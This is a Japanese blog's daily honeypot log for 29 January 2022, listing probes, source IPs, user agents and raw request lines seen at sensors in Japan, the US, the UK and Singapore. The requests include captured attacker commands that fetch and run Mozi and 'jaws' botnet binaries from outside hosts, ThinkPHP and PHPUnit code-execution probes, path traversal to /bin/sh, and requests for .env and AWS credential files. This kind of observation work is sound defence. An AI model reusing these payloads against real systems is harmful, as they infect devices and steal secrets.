2022/01/29 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2022/01/29分です。

特徴

共通

D-link製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
.jsへのスキャン行為
/.envへのスキャン行為
phpMyAdminへのスキャン行為

Location:JP

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
zgrabによるスキャン行為
/.awsへのスキャン行為
Apache Solrへのスキャン行為
45.81.232.239に関する不正通信
Gh0stRATのような動き

を確認しました。

Location:US

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
zgrabによるスキャン行為
Laravelへのスキャン行為
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://192.168.1.1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location:UK

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
/.awsへのスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為
45.81.232.239に関する不正通信
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 205.185.125.164/jaws;
sh /tmp/jaws

Location:SG

Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
zgrabによるスキャン行為
/.gitへのスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為

を確認しました。

他

アクセス数推移

JP：総アクセス数：299 (前日比：118)
US：総アクセス数：79 (前日比：-14)
UK：総アクセス数：63 (前日比：-48)
SG：総アクセス数：158 (前日比：-17)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	20.85.214.109	United States
1	20.122.10.197	United States
1	23.90.160.114	United States
1	23.95.100.47	United States
1	31.220.3.140	Germany
1	42.232.4.23	China
3	45.137.21.134	Bangladesh
6	45.146.165.37	Russia
109	54.89.66.240	United States
7	54.165.45.160	United States
1	61.219.11.151	Taiwan
2	62.171.132.199	Germany
1	66.240.205.34	United States
2	74.81.57.26	United States
1	103.168.29.14	Indonesia
1	104.248.49.34	United States
1	109.237.103.9	Russia
1	109.237.103.123	Russia
3	135.125.217.54	France
12	135.125.246.189	France
1	135.148.138.77	United States
1	137.184.69.107	United States
1	137.184.120.250	United States
7	137.184.181.152	United States
1	143.198.105.75	United States
2	157.245.70.127	United States
1	159.89.229.133	United States
1	159.223.190.129	United States
109	162.222.176.96	United States
1	172.105.85.90	United States
1	172.105.89.161	United States
1	173.225.110.122	United States
1	175.107.7.94	Pakistan
1	181.214.41.111	Brazil
1	182.121.19.97	China
8	185.254.196.218	Ukraine
1	188.166.158.140	United States
1	192.241.206.137	United States
1	192.241.211.201	United States
1	192.241.226.74	United States
1	194.93.56.19	Russia

UserAgent一覧

件数	UserAgent
11	`-`
2	`Go-http-client/1.1`
1	`Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)`
1	`Mozilla/5.0 (Linux; U; Android 8.1.0; zh-CN; Mi Note 3 Build/OPM1.171019.019) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 UCBrowser/12.5.9.1039 Mobile Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36`
5	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36`
6	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
7	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Spotify / 1.1.39.612 Safari / 537.36`
37	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
3	`Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X; en-US) AppleWebKit/531.5.2 (KHTML, like Gecko) Version/4.0.5 Mobile/8B116 Safari/6531.5.2`
2	`Mozilla/5.0 zgrab/0.x`
18	`Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36`
1	`\"Mozilla/5.0`
200	`python-requests/2.27.1`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`Gh0st\xad`
1	CONNECT	`45[.]81[.]232[.]239:4444`	HTTP/1.1
1	GET	`../../proc/ HTTP`
3	GET	`/.aws/credentials`	HTTP/1.1
3	GET	`/.env.bak`	HTTP/1.1
37	GET	`/.env`	HTTP/1.1
10	GET	`//asdf[.]php`	HTTP/1.1
10	GET	`//dashboard/phpinfo.php`	HTTP/1.1
2	GET	`//debug/default/view.html`	HTTP/1.1
10	GET	`//debug/default/view?panel=config`	HTTP/1.1
2	GET	`//debug/default/view`	HTTP/1.1
2	GET	`//frontend/web/debug/default/view`	HTTP/1.1
10	GET	`//i[.]php`	HTTP/1.1
10	GET	`//index[.]php`	HTTP/1.1
10	GET	`//info[.]php`	HTTP/1.1
10	GET	`//infophp[.]php`	HTTP/1.1
10	GET	`//infos[.]php`	HTTP/1.1
10	GET	`//linusadmin-phpinfo.php`	HTTP/1.1
10	GET	`//old_phpinfo[.]php`	HTTP/1.1
10	GET	`//php-info.php`	HTTP/1.1
10	GET	`//php[.]php`	HTTP/1.1
10	GET	`//php_info[.]php`	HTTP/1.1
10	GET	`//phpinfo[.]php`	HTTP/1.1
10	GET	`//phpversion[.]php`	HTTP/1.1
10	GET	`//pinfo[.]php`	HTTP/1.1
2	GET	`//sapi/debug/default/view`	HTTP/1.1
10	GET	`//temp[.]php`	HTTP/1.1
10	GET	`//test[.]php`	HTTP/1.1
10	GET	`//time[.]php`	HTTP/1.1
2	GET	`//web/debug/default/view`	HTTP/1.1
1	GET	`/0bef`	HTTP/1.0
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/ReportServer`	HTTP/1.1
3	GET	`/_profiler/phpinfo`	HTTP/1.1
1	GET	`/ab2g`	HTTP/1.1
1	GET	`/ab2h`	HTTP/1.1
1	GET	`/analytics/`	HTTP/1.1
2	GET	`/aws.yml`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=user&psd=user`	HTTP/1.0
1	GET	`/c/version.js`	HTTP/1.1
3	GET	`/config.js`	HTTP/1.1
3	GET	`/config/aws.yml`	HTTP/1.1
2	GET	`/config/getuser?index=0`	HTTP/1.1
3	GET	`/dispatch.asp`	HTTP/1.1
1	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/flu/403.html`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
3	GET	`/info.php`	HTTP/1.1
3	GET	`/phpinfo.php`	HTTP/1.1
3	GET	`/phpinfo`	HTTP/1.1
1	GET	`/phpmyadmin/index.php`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//182[.]121[.]19[.]97:39149/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/stalker_portal/c/version.js`	HTTP/1.1
1	GET	`/stream/live.php`	HTTP/1.1
1	GET	`/streaming/clients_live.php`	HTTP/1.1
1	GET	`/system_api.php`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`http[:]//azenv[.]net/`	HTTP/1.1
2	HEAD	`/`	HTTP/1.1
1	HEAD	`/`	HTTP/1.0
1	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1
1	POST	`/result%3Fhl%3Den%26meta%3Dvvnwppnloxhwtqccppbyhqmrwyswqen`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	20.24.24.111	United States
1	20.113.136.91	United States
2	20.121.44.34	United States
1	23.90.160.114	United States
1	31.220.3.140	Germany
1	39.86.35.32	China
3	45.137.21.134	Bangladesh
8	45.146.165.37	Russia
5	51.79.29.48	Canada
1	52.147.71.181	United States
2	52.237.162.233	United States
3	62.171.132.199	Germany
1	77.247.127.179	United Kingdom
4	94.232.43.63	Russia
1	103.168.29.14	Indonesia
4	104.41.143.95	United States
1	104.248.49.26	United States
1	107.189.29.181	United States
1	109.237.103.9	Russia
2	109.237.103.38	Russia
1	109.237.103.123	Russia
1	115.56.1.16	China
1	120.85.112.143	China
1	121.35.186.59	China
1	137.184.69.107	United States
1	137.184.120.250	United States
7	137.184.189.31	United States
1	143.198.183.232	United States
1	143.198.230.196	United States
1	146.19.191.121	United States
2	157.245.70.127	United States
2	159.223.190.129	United States
4	164.52.24.179	China
2	165.227.131.62	United States
1	167.99.140.112	United States
1	172.105.89.161	United States
1	173.225.110.122	United States
1	181.214.206.161	United States
1	185.196.220.62	Netherlands
1	192.241.207.196	United States
1	193.32.164.51	Russia
2	194.165.16.75	Russia

UserAgent一覧

件数	UserAgent
22	`-`
1	`AlexaMediaPlayer/2.1.4676.0 (Linux;Android 5.1.1) ExoPlayerLib/1.5.9`
1	`Go-http-client/1.1`
1	`Hello, World`
1	`Hello, world`
2	`Mozila/5.0`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
5	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36`
8	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.80 Safari/537.36`
24	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
3	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
3	`Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X; en-US) AppleWebKit/531.5.2 (KHTML, like Gecko) Version/4.0.5 Mobile/8B116 Safari/6531.5.2`
1	`Mozilla/5.0 zgrab/0.x`
1	`python-requests/2.27.1`

リクエスト内容一覧

件数	Method	Request	Protocol
7		`\x03`
1		`\x16\x03\x01\x01C\x01`
1		`\x16\x03\x01\x01\xfb\x01`
1		`\x16\x03\x01\x01`	\x01
3		`\x16\x03\x01`
1	GET	`../../proc/ HTTP`
27	GET	`/.env`	HTTP/1.1
1	GET	`/0bef`	HTTP/1.0
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
2	GET	`/_ignition/execute-solution`	HTTP/1.1
1	GET	`/ab2g`	HTTP/1.1
1	GET	`/ab2h`	HTTP/1.1
1	GET	`/analytics/`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=admin&psd=admin`	HTTP/1.0
1	GET	`/boaform/admin/formLogin?username=user&psd=user`	HTTP/1.0
1	GET	`/c/version.js`	HTTP/1.1
1	GET	`/config.js`	HTTP/1.1
3	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
3	GET	`/dispatch.asp`	HTTP/1.1
1	GET	`/flu/403.html`	HTTP/1.1
1	GET	`/phpmyadmin/index.php`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws`	HTTP/1.1
1	GET	`/stalker_portal/c/version.js`	HTTP/1.1
1	GET	`/stream/live.php`	HTTP/1.1
1	GET	`/streaming/clients_live.php`	HTTP/1.1
1	GET	`/system_api.php`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`http[:]//azenv[.]net/`	HTTP/1.1
1	HEAD	`/`	HTTP/1.1
1	HEAD	`/`	HTTP/1.0
1	OPTIONS	`/`	HTTP/1.1
1	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
1	POST	`/GponForm/diag_Form?script/`	HTTP/1.1
2	POST	`/HNAP1/`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
5	5.8.10.202	Russia
1	39.90.187.47	China
3	45.137.21.134	Bangladesh
7	45.146.165.37	Russia
1	61.163.138.79	China
2	61.219.11.151	Taiwan
7	64.227.33.142	United States
1	93.160.62.190	Denmark
2	94.232.43.63	Russia
1	109.237.103.9	Russia
1	109.237.103.123	Russia
1	121.177.0.215	South Korea
1	128.14.209.170	United States
1	128.199.205.66	United Kingdom
2	137.184.120.250	United States
2	137.184.201.247	United States
2	138.197.219.172	United States
2	147.182.146.99	United States
4	147.182.146.131	United States
1	147.182.146.153	United States
1	149.129.50.37	Singapore
1	159.89.143.161	United States
1	173.225.110.122	United States
1	181.214.41.111	Brazil
1	181.214.206.161	United States
1	185.200.117.166	Romania
2	193.56.29.120	United Kingdom
1	194.93.56.19	Russia
2	194.165.16.75	Russia
1	201.150.176.219	Bolivia
4	206.189.118.64	United States

UserAgent一覧

件数	UserAgent
26	`-`
3	`Go-http-client/1.1`
1	`Hello, world`
1	`Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]`
2	`Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)`
1	`Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)`
2	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36`
5	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36`
7	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Spotify / 1.1.39.612 Safari / 537.36`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36 Vivaldi/1.0.344.37`
4	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; U; Linux armv6l; rv 1.8.1.5pre) Gecko/20070619 Minimo/0.020`
3	`Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X; en-US) AppleWebKit/531.5.2 (KHTML, like Gecko) Version/4.0.5 Mobile/8B116 Safari/6531.5.2`
1	`lynx`

リクエスト内容一覧

件数	Method	Request	Protocol
4		`\x03`
1		`\x16\x03\x01\x01\xfc\x01`
8		`\x16\x03\x01\x02`
2		`\x16\x03\x01`
4		`\x17\x03\x01\x01\x04e`
2		`\xbf\xbf\xaf\xaf~`
1	CONNECT	`45[.]81[.]232[.]239:4444`	HTTP/1.1
1	GET	`/.aws/credentials`	HTTP/1.1
4	GET	`/.env`	HTTP/1.1
2	GET	`/3000D00E0000FFFF3F0031313744373731343634304537353046007A7A7A7A7A7A7A7A7A7A7A7A7A7A7A0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000008047A7A7A7A7A7A7A7A7A0000000000000000000000000000000000000000000000000000000000000000`	HTTP/1.1
1	GET	`/_ignition/execute-solution`	HTTP/1.1
1	GET	`/aaa9`	HTTP/1.1
1	GET	`/aab9`	HTTP/1.1
1	GET	`/analytics/`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=admin&psd=admin`	HTTP/1.0
1	GET	`/boaform/admin/formLogin?username=adminisp&psd=adminisp`	HTTP/1.0
1	GET	`/c/version.js`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
3	GET	`/dispatch.asp`	HTTP/1.1
1	GET	`/flu/403.html`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
2	GET	`/phpmyadmin/index.php`	HTTP/1.1
1	GET	`/server-status`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+205[.]185[.]125[.]164/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/stalker_portal/c/version.js`	HTTP/1.1
1	GET	`/stream/live.php`	HTTP/1.1
1	GET	`/streaming/clients_live.php`	HTTP/1.1
1	GET	`/system_api.php`	HTTP/1.1
2	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`http[:]//azenv[.]net/`	HTTP/1.1
1	GET	`http[:]//www[.]1ucn[.]com/proxychecker/index.php`	HTTP/1.1
1	HEAD	`/`	HTTP/1.0
1	OPTIONS	`/`	HTTP/1.1
1	POST	`/10`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1
1	POST	`/result%3Fhl%3Den%26meta%3Dvvnwppnloxhwtqccppbyhqmrwyswqen`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
2	20.38.173.89	United States
1	20.102.123.237	United States
1	20.115.32.123	United States
2	31.220.3.140	Germany
3	45.137.21.134	Bangladesh
8	45.146.165.37	Russia
2	45.227.254.49	Belize
6	51.79.29.48	Canada
1	61.52.36.216	China
1	61.219.11.151	Taiwan
7	68.183.9.181	United States
95	87.93.254.161	Finland
1	95.130.176.18	Russia
4	104.41.143.95	United States
1	104.248.49.30	United States
1	104.248.53.202	United States
1	107.189.29.181	United States
1	109.237.103.9	Russia
1	109.237.103.123	Russia
1	125.43.185.66	China
1	128.14.209.170	United States
1	137.184.69.107	United States
2	137.184.120.250	United States
1	143.198.105.75	United States
2	157.230.216.203	United States
1	159.89.229.133	United States
4	164.52.24.179	China
1	170.187.181.151	United States
1	172.105.89.161	United States
1	173.225.110.122	United States
1	192.241.206.64	United States
1	192.241.213.126	United States
1	216.158.225.249	United States

UserAgent一覧

件数	UserAgent
14	`-`
1	`Go-http-client/1.1`
1	`Mozila/5.0`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0`
95	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
5	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36`
8	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36`
21	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
3	`Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X; en-US) AppleWebKit/531.5.2 (KHTML, like Gecko) Version/4.0.5 Mobile/8B116 Safari/6531.5.2`
1	`Mozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11a Safari/525.20`
2	`Mozilla/5.0 zgrab/0.x`
1	`VLC/3.0.8 LibVLC/3.0.8`
1	`lynx`
1	`python-requests/2.9.1`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`27;wget%20http[:]//%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$`	HTTP/1.0
2		`\x03`
1		`\x16\x03\x01\x01`	\x01
3		`\x16\x03\x01`
2	GET	`../../proc/ HTTP`
22	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`/0bef`	HTTP/1.0
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/ReportServer`	HTTP/1.1
1	GET	`/_ignition/execute-solution`	HTTP/1.1
1	GET	`/_profiler/phpinfo`	HTTP/1.1
1	GET	`/ab2g`	HTTP/1.1
1	GET	`/ab2h`	HTTP/1.1
1	GET	`/analytics/`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=user&psd=user`	HTTP/1.0
1	GET	`/c/version.js`	HTTP/1.1
1	GET	`/config.js`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
3	GET	`/dispatch.asp`	HTTP/1.1
1	GET	`/flu/403.html`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
95	GET	`/phpmyadmin/`	HTTP/1.1
2	GET	`/phpmyadmin/index.php`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/stalker_portal/c/version.js`	HTTP/1.1
1	GET	`/stream/live.php`	HTTP/1.1
1	GET	`/streaming/clients_live.php`	HTTP/1.1
1	GET	`/system_api.php`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`http[:]//azenv[.]net/`	HTTP/1.1
1	HEAD	`/`	HTTP/1.0
1	POST	`/10`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1